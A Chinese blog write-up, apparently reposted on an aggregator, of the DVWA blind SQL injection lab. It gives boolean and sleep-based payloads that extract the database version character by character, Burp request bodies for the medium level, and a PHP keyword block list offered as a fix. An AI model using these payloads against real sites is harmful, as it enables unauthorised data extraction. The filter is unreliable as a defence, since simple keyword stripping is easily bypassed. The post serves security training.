当前位置: 首页 > news >正文

[dvwa] sql injection(Blind)

blind

0x01 low

1’ and length(version()) = 6 #

syntax: substr(string , from<start from 1>, cut length)

1’ and substr(version(),1,1) = ‘5’ #
1’ and substr(version(),2,1) = ‘.’ #
1’ and substr(version(),3,1) = ‘7’ #
1’ and substr(version(),4,1) = ‘.’ #
1’ and substr(version(),5,1) = ‘2’ #
1’ and substr(version(),6,1) = ‘6’ #

版本为5.7.26

syntax: if(judge, true for, false for)

1’ and if(length(version())=6,sleep(3),1) #
版本号6位

虽然显示数据库中找不到,但是明显观察到页面停顿了大约3秒
在这里插入图片描述

1’ and if(substr(version(),1,1)=‘5’,sleep(3),1) #
1’ and if(substr(version(),2,1)=‘.’,sleep(3),1) #
1’ and if(substr(version(),3,1)=‘7’,sleep(3),1) #
1’ and if(substr(version(),4,1)=‘.’,sleep(3),1) #
1’ and if(substr(version(),5,1)=‘2’,sleep(3),1) #
1’ and if(substr(version(),6,1)=‘6’,sleep(3),1) #

0x02 medium

在burp中重放发包

id=1 and length(version())=6&Submit=Submit

id=1 and ascii(substr(version(),1,1))=53#&Submit=Submit

0x03 high

与low相似,代码中增加了limit 1和isset($_COOKIE[‘id’])
查询参数通过cookie中传递
通过post请求体接收查询参数,把查询参数写道cookie,显示页面读cookie值回显
实现抗重放

0x04 Repair 修复漏洞

过滤,简单来说,过滤单引号,括号,空格,and,or,select,将有奇效
一般盲注用脚本爆,限制ip的频繁连接也是有用的

或者在回显处动手脚,随机给个错误回显,属于是调皮捣蛋了

在这里插入图片描述

<?php$id = 1;$suspects = array(" ","'","(",")","and","or","select");
$allnull = array();
for ($i = 0;$i<count($suspects);$i += 1){array_push($allnull,'Hacker');
}
$count = 0;$id = str_replace($suspects,$allnull,$id,$count);if($count>0){die("blind injection, blind response");
}
http://www.lryc.cn/news/340695.html

相关文章:

  • linux 挂载云盘 NT只能挂载2T,使用parted挂载超过2T云盘
  • 用Skimage学习数字图像处理(021):图像特征提取之线检测(下)
  • ArduPilot飞控之Gazebo + SITL + MP的Jetson Orin环境搭建
  • 前端错误监控的方法有哪些
  • ✌粤嵌—2024/3/11—跳跃游戏
  • Docker入门实战教程
  • 数据结构初阶:二叉树(一)
  • 基于逻辑回归和支持向量机的前馈网络进行乳腺癌组织病理学图像分类
  • 35-4 fastjson漏洞复现
  • Qt-控件篇
  • 实现 Table 的增加和删除,不依赖后端数据回显
  • 个人网站开发记录(七)——三系统后端nodejs+express
  • C#入门理解设计模式的6大原则
  • Linux如何切换root用户
  • uniapp小程序编译报错
  • van-uploader 在app内嵌的webview中的一些坑
  • 使用Kotlin进行全栈开发 Ktor+Kotlin/JS
  • 数据结构_带头双向循环链表
  • 常见的垃圾回收器(下)
  • 网桥的原理
  • STM32 CAN过滤器细节
  • 网络编程(现在不重要)
  • 10-菜刀连接木马
  • Unity数据持久化—Json存档
  • 基于SSM的在线学习系统的设计与实现(论文+源码)_kaic
  • 数据库SQL语言实战(二)
  • idea错误地commit后如何处理
  • VRTK(Virtual Reality Toolkit)深入介绍
  • 【LeetCode热题100】【贪心算法】划分字母区间
  • 第二届数据安全大赛暨首届“数信杯”数据安全大赛数据安全积分争夺赛-东区预赛部分WP